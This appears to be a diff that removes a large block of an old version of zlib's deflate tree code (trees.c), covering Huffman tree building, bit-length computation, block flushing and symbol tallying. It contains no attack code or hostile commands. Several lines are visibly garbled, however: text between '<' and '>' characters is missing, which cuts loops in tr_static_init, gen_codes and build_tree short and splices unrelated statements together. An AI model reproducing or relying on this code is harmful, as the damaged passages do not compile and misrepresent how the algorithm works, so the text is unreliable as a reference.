=========================================================================== - * Constants - */ - -#define MAX_BL_BITS 7 -/* Bit length codes must not exceed MAX_BL_BITS bits */ - -#define END_BLOCK 256 -/* end of block literal code */ - -#define REP_3_6 16 -/* repeat previous bit length 3-6 times (2 bits of repeat count) */ - -#define REPZ_3_10 17 -/* repeat a zero length 3-10 times (3 bits of repeat count) */ - -#define REPZ_11_138 18 -/* repeat a zero length 11-138 times (7 bits of repeat count) */ - -local int extra_lbits[LENGTH_CODES] /* extra bits for each length code */ - = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0}; - -local int extra_dbits[D_CODES] /* extra bits for each distance code */ - = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13}; - -local int extra_blbits[BL_CODES]/* extra bits for each bit length code */ - = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7}; - -local uch bl_order[BL_CODES] - = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15}; -/* The lengths of the bit length codes are sent in order of decreasing - * probability, to avoid transmitting the lengths for unused bit length codes. - */ - -#define Buf_size (8 * 2*sizeof(char)) -/* Number of bits used within bi_buf. (bi_buf might be implemented on - * more than 16 bits on some systems.) - */ - -/* =========================================================================== - * Local data. These are initialized only once. - */ - -local ct_data static_ltree[L_CODES+2]; -/* The static literal tree. Since the bit lengths are imposed, there is no - * need for the L_CODES extra codes used during heap construction. However - * The codes 286 and 287 are needed to build a canonical tree (see _tr_init - * below). - */ - -local ct_data static_dtree[D_CODES]; -/* The static distance tree. (Actually a trivial tree since all codes use - * 5 bits.) - */ - -local uch dist_code[512]; -/* distance codes. The first 256 values correspond to the distances - * 3 .. 258, the last 256 values correspond to the top 8 bits of - * the 15 bit distances. - */ - -local uch length_code[MAX_MATCH-MIN_MATCH+1]; -/* length code for each normalized match length (0 == MIN_MATCH) */ - -local int base_length[LENGTH_CODES]; -/* First normalized length for each code (0 = MIN_MATCH) */ - -local int base_dist[D_CODES]; -/* First normalized distance for each code (0 = distance of 1) */ - -struct static_tree_desc_s { - ct_data *static_tree; /* static tree or NULL */ - intf *extra_bits; /* extra bits for each code or NULL */ - int extra_base; /* base index for extra_bits */ - int elems; /* max number of elements in the tree */ - int max_length; /* max bit length for the codes */ -}; - -local static_tree_desc static_l_desc = -{static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS}; - -local static_tree_desc static_d_desc = -{static_dtree, extra_dbits, 0, D_CODES, MAX_BITS}; - -local static_tree_desc static_bl_desc = -{(ct_data *)0, extra_blbits, 0, BL_CODES, MAX_BL_BITS}; - -/* =========================================================================== - * Local (static) routines in this file. - */ - -local void tr_static_init OF((void)); -local void init_block OF((deflate_state *s)); -local void pqdownheap OF((deflate_state *s, ct_data *tree, int k)); -local void gen_bitlen OF((deflate_state *s, tree_desc *desc)); -local void gen_codes OF((ct_data *tree, int max_code, ushf *bl_count)); -local void build_tree OF((deflate_state *s, tree_desc *desc)); -local void scan_tree OF((deflate_state *s, ct_data *tree, int max_code)); -local void send_tree OF((deflate_state *s, ct_data *tree, int max_code)); -local int build_bl_tree OF((deflate_state *s)); -local void send_all_trees OF((deflate_state *s, int lcodes, int dcodes, - int blcodes)); -local void compress_block OF((deflate_state *s, ct_data *ltree, - ct_data *dtree)); -local void set_data_type OF((deflate_state *s)); -local unsigned bi_reverse OF((unsigned value, int length)); -local void bi_windup OF((deflate_state *s)); -local void bi_flush OF((deflate_state *s)); -local void copy_block OF((deflate_state *s, charf *buf, unsigned len, - int header)); - -#ifndef DEBUG_ZLIB -# define send_code(s, c, tree) send_bits(s, tree[(c)].Code, tree[(c)].Len) - /* Send a code of the given tree. c and tree must not have side effects */ - -#else /* DEBUG_ZLIB */ -# define send_code(s, c, tree) \ - { if (verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \ - send_bits(s, tree[c].Code, tree[c].Len); } -#endif - -#define d_code(dist) \ - ((dist) < 256 ? dist_code[dist] : dist_code[256+((dist)>>7)]) -/* Mapping from a distance to a distance code. dist is the distance - 1 and - * must not have side effects. dist_code[256] and dist_code[257] are never - * used. - */ - -/* =========================================================================== - * Output a short LSB first on the stream. - * IN assertion: there is enough room in pendingBuf. - */ -#define put_short(s, w) { \ - put_byte(s, (uch)((w) & 0xff)); \ - put_byte(s, (uch)((ush)(w) >> 8)); \ -} - -/* =========================================================================== - * Send a value on a given number of bits. - * IN assertion: length <= 16 and value fits in length bits. - */ -#ifdef DEBUG_ZLIB -local void send_bits OF((deflate_state *s, int value, int length)); - -local void send_bits(s, value, length) - deflate_state *s; - int value; /* value to send */ - int length; /* number of bits */ -{ - Tracevv((stderr," l %2d v %4x ", length, value)); - Assert(length > 0 && length <= 15, "invalid length"); - s->bits_sent += (ulg)length; - - /* If not enough room in bi_buf, use (valid) bits from bi_buf and - * (16 - bi_valid) bits from value, leaving (width - (16-bi_valid)) - * unused bits in value. - */ - if (s->bi_valid > (int)Buf_size - length) { - s->bi_buf |= (value << s->bi_valid); - put_short(s, s->bi_buf); - s->bi_buf = (ush)value >> (Buf_size - s->bi_valid); - s->bi_valid += length - Buf_size; - } else { - s->bi_buf |= value << s->bi_valid; - s->bi_valid += length; - } -} -#else /* !DEBUG_ZLIB */ - -#define send_bits(s, value, length) \ -{ int len = (length);\ - if ((s)->bi_valid > (int)Buf_size - len) {\ - int val = (value);\ - (s)->bi_buf |= (val << (s)->bi_valid);\ - put_short((s), (s)->bi_buf);\ - (s)->bi_buf = (ush)val >> (Buf_size - (s)->bi_valid);\ - (s)->bi_valid += len - Buf_size;\ - } else {\ - (s)->bi_buf |= (value) << (s)->bi_valid;\ - (s)->bi_valid += len;\ - }\ -} -#endif /* DEBUG_ZLIB */ - -/* the arguments must not have side effects */ - -/* =========================================================================== - * Initialize the various 'constant' tables. In a multi-threaded environment, - * this function may be called by two threads concurrently, but this is - * harmless since both invocations do exactly the same thing. - */ -local void tr_static_init() -{ - static int static_init_done = 0; - int n; /* iterates over tree elements */ - int bits; /* bit counter */ - int length; /* length value */ - int code; /* code value */ - int dist; /* distance index */ - ush bl_count[MAX_BITS+1]; - /* number of codes at each bit length for an optimal tree */ - - if (static_init_done) return; - - /* Initialize the mapping length (0..255) -> length code (0..28) */ - length = 0; - for (code = 0; code < LENGTH_CODES-1; code++) { - base_length[code] = length; - for (n = 0; n < (1< dist code (0..29) */ - dist = 0; - for (code = 0 ; code < 16; code++) { - base_dist[code] = dist; - for (n = 0; n < (1<>= 7; /* from now on, all distances are divided by 128 */ - for ( ; code < D_CODES; code++) { - base_dist[code] = dist << 7; - for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) { - dist_code[256 + dist++] = (uch)code; - } - } - Assert (dist == 256, "tr_static_init: 256+dist != 512"); - - /* Construct the codes of the static literal tree */ - for (bits = 0; bits <= MAX_BITS; bits++) bl_count[bits] = 0; - n = 0; - while (n <= 143) static_ltree[n++].Len = 8, bl_count[8]++; - while (n <= 255) static_ltree[n++].Len = 9, bl_count[9]++; - while (n <= 279) static_ltree[n++].Len = 7, bl_count[7]++; - while (n <= 287) static_ltree[n++].Len = 8, bl_count[8]++; - /* Codes 286 and 287 do not exist, but we must include them in the - * tree construction to get a canonical Huffman tree (longest code - * all ones) - */ - gen_codes((ct_data *)static_ltree, L_CODES+1, bl_count); - - /* The static distance tree is trivial: */ - for (n = 0; n < D_CODES; n++) { - static_dtree[n].Len = 5; - static_dtree[n].Code = bi_reverse((unsigned)n, 5); - } - static_init_done = 1; -} - -/* =========================================================================== - * Initialize the tree data structures for a new zlib stream. - */ -void _tr_init(s) - deflate_state *s; -{ - tr_static_init(); - - s->compressed_len = 0L; - - s->l_desc.dyn_tree = s->dyn_ltree; - s->l_desc.stat_desc = &static_l_desc; - - s->d_desc.dyn_tree = s->dyn_dtree; - s->d_desc.stat_desc = &static_d_desc; - - s->bl_desc.dyn_tree = s->bl_tree; - s->bl_desc.stat_desc = &static_bl_desc; - - s->bi_buf = 0; - s->bi_valid = 0; - s->last_eob_len = 8; /* enough lookahead for inflate */ -#ifdef DEBUG_ZLIB - s->bits_sent = 0L; -#endif - - /* Initialize the first block of the first file: */ - init_block(s); -} - -/* =========================================================================== - * Initialize a new block. - */ -local void init_block(s) - deflate_state *s; -{ - int n; /* iterates over tree elements */ - - /* Initialize the trees. */ - for (n = 0; n < L_CODES; n++) s->dyn_ltree[n].Freq = 0; - for (n = 0; n < D_CODES; n++) s->dyn_dtree[n].Freq = 0; - for (n = 0; n < BL_CODES; n++) s->bl_tree[n].Freq = 0; - - s->dyn_ltree[END_BLOCK].Freq = 1; - s->opt_len = s->static_len = 0L; - s->last_lit = s->matches = 0; -} - -#define SMALLEST 1 -/* Index within the heap array of least frequent node in the Huffman tree */ - - -/* =========================================================================== - * Remove the smallest element from the heap and recreate the heap with - * one less element. Updates heap and heap_len. - */ -#define pqremove(s, tree, top) \ -{\ - top = s->heap[SMALLEST]; \ - s->heap[SMALLEST] = s->heap[s->heap_len--]; \ - pqdownheap(s, tree, SMALLEST); \ -} - -/* =========================================================================== - * Compares to subtrees, using the tree depth as tie breaker when - * the subtrees have equal frequency. This minimizes the worst case length. - */ -#define smaller(tree, n, m, depth) \ - (tree[n].Freq < tree[m].Freq || \ - (tree[n].Freq == tree[m].Freq && depth[n] <= depth[m])) - -/* =========================================================================== - * Restore the heap property by moving down the tree starting at node k, - * exchanging a node with the smallest of its two sons if necessary, stopping - * when the heap property is re-established (each father smaller than its - * two sons). - */ -local void pqdownheap(s, tree, k) - deflate_state *s; - ct_data *tree; /* the tree to restore */ - int k; /* node to move down */ -{ - int v = s->heap[k]; - int j = k << 1; /* left son of k */ - while (j <= s->heap_len) { - /* Set j to the smallest of the two sons: */ - if (j < s->heap_len && - smaller(tree, s->heap[j+1], s->heap[j], s->depth)) { - j++; - } - /* Exit if v is smaller than both sons */ - if (smaller(tree, v, s->heap[j], s->depth)) break; - - /* Exchange v with the smallest son */ - s->heap[k] = s->heap[j]; k = j; - - /* And continue down the tree, setting j to the left son of k */ - j <<= 1; - } - s->heap[k] = v; -} - -/* =========================================================================== - * Compute the optimal bit lengths for a tree and update the total bit length - * for the current block. - * IN assertion: the fields freq and dad are set, heap[heap_max] and - * above are the tree nodes sorted by increasing frequency. - * OUT assertions: the field len is set to the optimal bit length, the - * array bl_count contains the frequencies for each bit length. - * The length opt_len is updated; static_len is also updated if stree is - * not null. - */ -local void gen_bitlen(s, desc) - deflate_state *s; - tree_desc *desc; /* the tree descriptor */ -{ - ct_data *tree = desc->dyn_tree; - int max_code = desc->max_code; - ct_data *stree = desc->stat_desc->static_tree; - intf *extra = desc->stat_desc->extra_bits; - int base = desc->stat_desc->extra_base; - int max_length = desc->stat_desc->max_length; - int h; /* heap index */ - int n, m; /* iterate over the tree elements */ - int bits; /* bit length */ - int xbits; /* extra bits */ - ush f; /* frequency */ - int overflow = 0; /* number of elements with bit length too large */ - - for (bits = 0; bits <= MAX_BITS; bits++) s->bl_count[bits] = 0; - - /* In a first pass, compute the optimal bit lengths (which may - * overflow in the case of the bit length tree). - */ - tree[s->heap[s->heap_max]].Len = 0; /* root of the heap */ - - for (h = s->heap_max+1; h < HEAP_SIZE; h++) { - n = s->heap[h]; - bits = tree[tree[n].Dad].Len + 1; - if (bits > max_length) bits = max_length, overflow++; - tree[n].Len = (ush)bits; - /* We overwrite tree[n].Dad which is no longer needed */ - - if (n > max_code) continue; /* not a leaf node */ - - s->bl_count[bits]++; - xbits = 0; - if (n >= base) xbits = extra[n-base]; - f = tree[n].Freq; - s->opt_len += (ulg)f * (bits + xbits); - if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits); - } - if (overflow == 0) return; - - Trace((stderr,"\nbit length overflow\n")); - /* This happens for example on obj2 and pic of the Calgary corpus */ - - /* Find the first bit length which could increase: */ - do { - bits = max_length-1; - while (s->bl_count[bits] == 0) bits--; - s->bl_count[bits]--; /* move one leaf down the tree */ - s->bl_count[bits+1] += 2; /* move one overflow item as its brother */ - s->bl_count[max_length]--; - /* The brother of the overflow item also moves one step up, - * but this does not affect bl_count[max_length] - */ - overflow -= 2; - } while (overflow > 0); - - /* Now recompute all bit lengths, scanning in increasing frequency. - * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all - * lengths instead of fixing only the wrong ones. This idea is taken - * from 'ar' written by Haruhiko Okumura.) - */ - for (bits = max_length; bits != 0; bits--) { - n = s->bl_count[bits]; - while (n != 0) { - m = s->heap[--h]; - if (m > max_code) continue; - if (tree[m].Len != (unsigned) bits) { - Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits)); - s->opt_len += ((long)bits - (long)tree[m].Len) - *(long)tree[m].Freq; - tree[m].Len = (ush)bits; - } - n--; - } - } -} - -/* =========================================================================== - * Generate the codes for a given tree and bit counts (which need not be - * optimal). - * IN assertion: the array bl_count contains the bit length statistics for - * the given tree and the field len is set for all tree elements. - * OUT assertion: the field code is set for all tree elements of non - * zero code length. - */ -local void gen_codes (tree, max_code, bl_count) - ct_data *tree; /* the tree to decorate */ - int max_code; /* largest code with non zero frequency */ - ushf *bl_count; /* number of codes at each bit length */ -{ - ush next_code[MAX_BITS+1]; /* next code value for each bit length */ - ush code = 0; /* running code value */ - int bits; /* bit index */ - int n; /* code index */ - - /* The distribution counts are first used to generate the code values - * without bit reversal. - */ - for (bits = 1; bits <= MAX_BITS; bits++) { - next_code[bits] = code = (code + bl_count[bits-1]) << 1; - } - /* Check that the bit counts in bl_count are consistent. The last code - * must be all ones. - */ - Assert (code + bl_count[MAX_BITS]-1 == (1<dyn_tree; - ct_data *stree = desc->stat_desc->static_tree; - int elems = desc->stat_desc->elems; - int n, m; /* iterate over heap elements */ - int max_code = -1; /* largest code with non zero frequency */ - int node; /* new node being created */ - - /* Construct the initial heap, with least frequent element in - * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1]. - * heap[0] is not used. - */ - s->heap_len = 0, s->heap_max = HEAP_SIZE; - - for (n = 0; n < elems; n++) { - if (tree[n].Freq != 0) { - s->heap[++(s->heap_len)] = max_code = n; - s->depth[n] = 0; - } else { - tree[n].Len = 0; - } - } - - /* The pkzip format requires that at least one distance code exists, - * and that at least one bit should be sent even if there is only one - * possible code. So to avoid special checks later on we force at least - * two codes of non zero frequency. - */ - while (s->heap_len < 2) { - node = s->heap[++(s->heap_len)] = (max_code < 2 ? ++max_code : 0); - tree[node].Freq = 1; - s->depth[node] = 0; - s->opt_len--; if (stree) s->static_len -= stree[node].Len; - /* node is 0 or 1 so it does not have extra bits */ - } - desc->max_code = max_code; - - /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree, - * establish sub-heaps of increasing lengths: - */ - for (n = s->heap_len/2; n >= 1; n--) pqdownheap(s, tree, n); - - /* Construct the Huffman tree by repeatedly combining the least two - * frequent nodes. - */ - node = elems; /* next internal node of the tree */ - do { - pqremove(s, tree, n); /* n = node of least frequency */ - m = s->heap[SMALLEST]; /* m = node of next least frequency */ - - s->heap[--(s->heap_max)] = n; /* keep the nodes sorted by frequency */ - s->heap[--(s->heap_max)] = m; - - /* Create a new node father of n and m */ - tree[node].Freq = tree[n].Freq + tree[m].Freq; - s->depth[node] = (uch) (MAX(s->depth[n], s->depth[m]) + 1); - tree[n].Dad = tree[m].Dad = (ush)node; -#ifdef DUMP_BL_TREE - if (tree == s->bl_tree) { - fprintf(stderr,"\nnode %d(%d), sons %d(%d) %d(%d)", - node, tree[node].Freq, n, tree[n].Freq, m, tree[m].Freq); - } -#endif - /* and insert the new node in the heap */ - s->heap[SMALLEST] = node++; - pqdownheap(s, tree, SMALLEST); - - } while (s->heap_len >= 2); - - s->heap[--(s->heap_max)] = s->heap[SMALLEST]; - - /* At this point, the fields freq and dad are set. We can now - * generate the bit lengths. - */ - gen_bitlen(s, (tree_desc *)desc); - - /* The field len is now set, we can generate the bit codes */ - gen_codes ((ct_data *)tree, max_code, s->bl_count); -} - -/* =========================================================================== - * Scan a literal or distance tree to determine the frequencies of the codes - * in the bit length tree. - */ -local void scan_tree (s, tree, max_code) - deflate_state *s; - ct_data *tree; /* the tree to be scanned */ - int max_code; /* and its largest code of non zero frequency */ -{ - int n; /* iterates over all tree elements */ - int prevlen = -1; /* last emitted length */ - int curlen; /* length of current code */ - int nextlen = tree[0].Len; /* length of next code */ - int count = 0; /* repeat count of the current code */ - int max_count = 7; /* max repeat count */ - int min_count = 4; /* min repeat count */ - - if (nextlen == 0) max_count = 138, min_count = 3; - tree[max_code+1].Len = (ush)0xffff; /* guard */ - - for (n = 0; n <= max_code; n++) { - curlen = nextlen; nextlen = tree[n+1].Len; - if (++count < max_count && curlen == nextlen) { - continue; - } else if (count < min_count) { - s->bl_tree[curlen].Freq += count; - } else if (curlen != 0) { - if (curlen != prevlen) s->bl_tree[curlen].Freq++; - s->bl_tree[REP_3_6].Freq++; - } else if (count <= 10) { - s->bl_tree[REPZ_3_10].Freq++; - } else { - s->bl_tree[REPZ_11_138].Freq++; - } - count = 0; prevlen = curlen; - if (nextlen == 0) { - max_count = 138, min_count = 3; - } else if (curlen == nextlen) { - max_count = 6, min_count = 3; - } else { - max_count = 7, min_count = 4; - } - } -} - -/* =========================================================================== - * Send a literal or distance tree in compressed form, using the codes in - * bl_tree. - */ -local void send_tree (s, tree, max_code) - deflate_state *s; - ct_data *tree; /* the tree to be scanned */ - int max_code; /* and its largest code of non zero frequency */ -{ - int n; /* iterates over all tree elements */ - int prevlen = -1; /* last emitted length */ - int curlen; /* length of current code */ - int nextlen = tree[0].Len; /* length of next code */ - int count = 0; /* repeat count of the current code */ - int max_count = 7; /* max repeat count */ - int min_count = 4; /* min repeat count */ - - /* tree[max_code+1].Len = -1; */ /* guard already set */ - if (nextlen == 0) max_count = 138, min_count = 3; - - for (n = 0; n <= max_code; n++) { - curlen = nextlen; nextlen = tree[n+1].Len; - if (++count < max_count && curlen == nextlen) { - continue; - } else if (count < min_count) { - do { send_code(s, curlen, s->bl_tree); } while (--count != 0); - - } else if (curlen != 0) { - if (curlen != prevlen) { - send_code(s, curlen, s->bl_tree); count--; - } - Assert(count >= 3 && count <= 6, " 3_6?"); - send_code(s, REP_3_6, s->bl_tree); send_bits(s, count-3, 2); - - } else if (count <= 10) { - send_code(s, REPZ_3_10, s->bl_tree); send_bits(s, count-3, 3); - - } else { - send_code(s, REPZ_11_138, s->bl_tree); send_bits(s, count-11, 7); - } - count = 0; prevlen = curlen; - if (nextlen == 0) { - max_count = 138, min_count = 3; - } else if (curlen == nextlen) { - max_count = 6, min_count = 3; - } else { - max_count = 7, min_count = 4; - } - } -} - -/* =========================================================================== - * Construct the Huffman tree for the bit lengths and return the index in - * bl_order of the last bit length code to send. - */ -local int build_bl_tree(s) - deflate_state *s; -{ - int max_blindex; /* index of last bit length code of non zero freq */ - - /* Determine the bit length frequencies for literal and distance trees */ - scan_tree(s, (ct_data *)s->dyn_ltree, s->l_desc.max_code); - scan_tree(s, (ct_data *)s->dyn_dtree, s->d_desc.max_code); - - /* Build the bit length tree: */ - build_tree(s, (tree_desc *)(&(s->bl_desc))); - /* opt_len now includes the length of the tree representations, except - * the lengths of the bit lengths codes and the 5+5+4 bits for the counts. - */ - - /* Determine the number of bit length codes to send. The pkzip format - * requires that at least 4 bit length codes be sent. (appnote.txt says - * 3 but the actual value used is 4.) - */ - for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) { - if (s->bl_tree[bl_order[max_blindex]].Len != 0) break; - } - /* Update opt_len to include the bit length tree and counts */ - s->opt_len += 3*(max_blindex+1) + 5+5+4; - Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld", - s->opt_len, s->static_len)); - - return max_blindex; -} - -/* =========================================================================== - * Send the header for a block using dynamic Huffman trees: the counts, the - * lengths of the bit length codes, the literal tree and the distance tree. - * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4. - */ -local void send_all_trees(s, lcodes, dcodes, blcodes) - deflate_state *s; - int lcodes, dcodes, blcodes; /* number of codes for each tree */ -{ - int rank; /* index in bl_order */ - - Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes"); - Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES, - "too many codes"); - Tracev((stderr, "\nbl counts: ")); - send_bits(s, lcodes-257, 5); /* not +255 as stated in appnote.txt */ - send_bits(s, dcodes-1, 5); - send_bits(s, blcodes-4, 4); /* not -3 as stated in appnote.txt */ - for (rank = 0; rank < blcodes; rank++) { - Tracev((stderr, "\nbl code %2d ", bl_order[rank])); - send_bits(s, s->bl_tree[bl_order[rank]].Len, 3); - } - Tracev((stderr, "\nbl tree: sent %ld", s->bits_sent)); - - send_tree(s, (ct_data *)s->dyn_ltree, lcodes-1); /* literal tree */ - Tracev((stderr, "\nlit tree: sent %ld", s->bits_sent)); - - send_tree(s, (ct_data *)s->dyn_dtree, dcodes-1); /* distance tree */ - Tracev((stderr, "\ndist tree: sent %ld", s->bits_sent)); -} - -/* =========================================================================== - * Send a stored block - */ -void _tr_stored_block(s, buf, stored_len, eof) - deflate_state *s; - charf *buf; /* input block */ - ulg stored_len; /* length of input block */ - int eof; /* true if this is the last block for a file */ -{ - send_bits(s, (STORED_BLOCK<<1)+eof, 3); /* send block type */ - s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L; - s->compressed_len += (stored_len + 4) << 3; - - copy_block(s, buf, (unsigned)stored_len, 1); /* with header */ -} - -/* Send just the `stored block' type code without any length bytes or data. - */ -void _tr_stored_type_only(s) - deflate_state *s; -{ - send_bits(s, (STORED_BLOCK << 1), 3); - bi_windup(s); - s->compressed_len = (s->compressed_len + 3) & ~7L; -} - - -/* =========================================================================== - * Send one empty static block to give enough lookahead for inflate. - * This takes 10 bits, of which 7 may remain in the bit buffer. - * The current inflate code requires 9 bits of lookahead. If the - * last two codes for the previous block (real code plus EOB) were coded - * on 5 bits or less, inflate may have only 5+3 bits of lookahead to decode - * the last real code. In this case we send two empty static blocks instead - * of one. (There are no problems if the previous block is stored or fixed.) - * To simplify the code, we assume the worst case of last real code encoded - * on one bit only. - */ -void _tr_align(s) - deflate_state *s; -{ - send_bits(s, STATIC_TREES<<1, 3); - send_code(s, END_BLOCK, static_ltree); - s->compressed_len += 10L; /* 3 for block type, 7 for EOB */ - bi_flush(s); - /* Of the 10 bits for the empty block, we have already sent - * (10 - bi_valid) bits. The lookahead for the last real code (before - * the EOB of the previous block) was thus at least one plus the length - * of the EOB plus what we have just sent of the empty static block. - */ - if (1 + s->last_eob_len + 10 - s->bi_valid < 9) { - send_bits(s, STATIC_TREES<<1, 3); - send_code(s, END_BLOCK, static_ltree); - s->compressed_len += 10L; - bi_flush(s); - } - s->last_eob_len = 7; -} - -/* =========================================================================== - * Determine the best encoding for the current block: dynamic trees, static - * trees or store, and output the encoded block to the zip file. This function - * returns the total compressed length for the file so far. - */ -ulg _tr_flush_block(s, buf, stored_len, eof) - deflate_state *s; - charf *buf; /* input block, or NULL if too old */ - ulg stored_len; /* length of input block */ - int eof; /* true if this is the last block for a file */ -{ - ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */ - int max_blindex = 0; /* index of last bit length code of non zero freq */ - - /* Build the Huffman trees unless a stored block is forced */ - if (s->level > 0) { - - /* Check if the file is ascii or binary */ - if (s->data_type == Z_UNKNOWN) set_data_type(s); - - /* Construct the literal and distance trees */ - build_tree(s, (tree_desc *)(&(s->l_desc))); - Tracev((stderr, "\nlit data: dyn %ld, stat %ld", s->opt_len, - s->static_len)); - - build_tree(s, (tree_desc *)(&(s->d_desc))); - Tracev((stderr, "\ndist data: dyn %ld, stat %ld", s->opt_len, - s->static_len)); - /* At this point, opt_len and static_len are the total bit lengths of - * the compressed block data, excluding the tree representations. - */ - - /* Build the bit length tree for the above two trees, and get the index - * in bl_order of the last bit length code to send. - */ - max_blindex = build_bl_tree(s); - - /* Determine the best encoding. Compute first the block length in bytes*/ - opt_lenb = (s->opt_len+3+7)>>3; - static_lenb = (s->static_len+3+7)>>3; - - Tracev((stderr, "\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u ", - opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len, - s->last_lit)); - - if (static_lenb <= opt_lenb) opt_lenb = static_lenb; - - } else { - Assert(buf != (char*)0, "lost buf"); - opt_lenb = static_lenb = stored_len + 5; /* force a stored block */ - } - - /* If compression failed and this is the first and last block, - * and if the .zip file can be seeked (to rewrite the local header), - * the whole file is transformed into a stored file: - */ -#ifdef STORED_FILE_OK -# ifdef FORCE_STORED_FILE - if (eof && s->compressed_len == 0L) { /* force stored file */ -# else - if (stored_len <= opt_lenb && eof && s->compressed_len==0L && seekable()) { -# endif - /* Since LIT_BUFSIZE <= 2*WSIZE, the input data must be there: */ - if (buf == (charf*)0) error ("block vanished"); - - copy_block(s, buf, (unsigned)stored_len, 0); /* without header */ - s->compressed_len = stored_len << 3; - s->method = STORED; - } else -#endif /* STORED_FILE_OK */ - -#ifdef FORCE_STORED - if (buf != (char*)0) { /* force stored block */ -#else - if (stored_len+4 <= opt_lenb && buf != (char*)0) { - /* 4: two words for the lengths */ -#endif - /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE. - * Otherwise we can't have processed more than WSIZE input bytes since - * the last block flush, because compression would have been - * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to - * transform a block into a stored block. - */ - _tr_stored_block(s, buf, stored_len, eof); - -#ifdef FORCE_STATIC - } else if (static_lenb >= 0) { /* force static trees */ -#else - } else if (static_lenb == opt_lenb) { -#endif - send_bits(s, (STATIC_TREES<<1)+eof, 3); - compress_block(s, (ct_data *)static_ltree, (ct_data *)static_dtree); - s->compressed_len += 3 + s->static_len; - } else { - send_bits(s, (DYN_TREES<<1)+eof, 3); - send_all_trees(s, s->l_desc.max_code+1, s->d_desc.max_code+1, - max_blindex+1); - compress_block(s, (ct_data *)s->dyn_ltree, (ct_data *)s->dyn_dtree); - s->compressed_len += 3 + s->opt_len; - } - Assert (s->compressed_len == s->bits_sent, "bad compressed size"); - init_block(s); - - if (eof) { - bi_windup(s); - s->compressed_len += 7; /* align on byte boundary */ - } - Tracev((stderr,"\ncomprlen %lu(%lu) ", s->compressed_len>>3, - s->compressed_len-7*eof)); - - return s->compressed_len >> 3; -} - -/* =========================================================================== - * Save the match info and tally the frequency counts. Return true if - * the current block must be flushed. - */ -int _tr_tally (s, dist, lc) - deflate_state *s; - unsigned dist; /* distance of matched string */ - unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */ -{ - s->d_buf[s->last_lit] = (ush)dist; - s->l_buf[s->last_lit++] = (uch)lc; - if (dist == 0) { - /* lc is the unmatched char */ - s->dyn_ltree[lc].Freq++; - } else { - s->matches++; - /* Here, lc is the match length - MIN_MATCH */ - dist--; /* dist = match distance - 1 */ - Assert((ush)dist < (ush)MAX_DIST(s) && - (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) && - (ush)d_code(dist) < (ush)D_CODES, "_tr_tally: bad match"); - - s->dyn_ltree[length_code[lc]+LITERALS+1].Freq++; - s->dyn_dtree[d_code(dist)].Freq++; - } - - /* Try to guess if it is profitable to stop the current block here */ - if (s->level > 2 && (s->last_lit & 0xfff) == 0) { - /* Compute an upper bound for the compressed length */ - ulg out_length = (ulg)s->last_lit*8L; - ulg in_length = (ulg)((long)s->strstart - s->block_start); - int dcode; - for (dcode = 0; dcode < D_CODES; dcode++) { - out_length += (ulg)s->dyn_dtree[dcode].Freq * - (5L+extra_dbits[dcode]); - } - out_length >>= 3; - Tracev((stderr,"\nlast_lit %u, in %ld, out ~%ld(%ld%%) ", - s->last_lit, in_length, out_length, - 100L - out_length*100L/in_length)); - if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1; - } - return (s->last_lit == s->lit_bufsize-1); - /* We avoid equality with lit_bufsize because of wraparound at 64K - * on 16 bit machines and because stored blocks are restricted to - * 64K-1 bytes. - */ -} - -/* =========================================================================== - * Send the block data compressed using the given Huffman trees - */ -local void compress_block(s, ltree, dtree) - deflate_state *s; - ct_data *ltree; /* literal tree */ - ct_data *dtree; /* distance tree */ -{ - unsigned dist; /* distance of matched string */ - int lc; /* match length or unmatched char (if dist == 0) */ - unsigned lx = 0; /* running index in l_buf */ - unsigned code; /* the code to send */ - int extra; /* number of extra bits to send */ - - if (s->last_lit != 0) do { - dist = s->d_buf[lx]; - lc = s->l_buf[lx++]; - if (dist == 0) { - send_code(s, lc, ltree); /* send a literal byte */ - Tracecv(isgraph(lc), (stderr," '%c' ", lc)); - } else { - /* Here, lc is the match length - MIN_MATCH */ - code = length_code[lc]; - send_code(s, code+LITERALS+1, ltree); /* send the length code */ - extra = extra_lbits[code]; - if (extra != 0) { - lc -= base_length[code]; - send_bits(s, lc, extra); /* send the extra length bits */ - } - dist--; /* dist is now the match distance - 1 */ - code = d_code(dist); - Assert (code < D_CODES, "bad d_code"); - - send_code(s, code, dtree); /* send the distance code */ - extra = extra_dbits[code]; - if (extra != 0) { - dist -= base_dist[code]; - send_bits(s, dist, extra); /* send the extra distance bits */ - } - } /* literal or match pair ? */ - - /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */ - Assert(s->pending < s->lit_bufsize + 2*lx, "pendingBuf overflow"); - - } while (lx < s->last_lit); - - send_code(s, END_BLOCK, ltree); - s->last_eob_len = ltree[END_BLOCK].Len; -} - -/* =========================================================================== - * Set the data type to ASCII or BINARY, using a crude approximation: - * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise. - * IN assertion: the fields freq of dyn_ltree are set and the total of all - * frequencies does not exceed 64K (to fit in an int on 16 bit machines). - 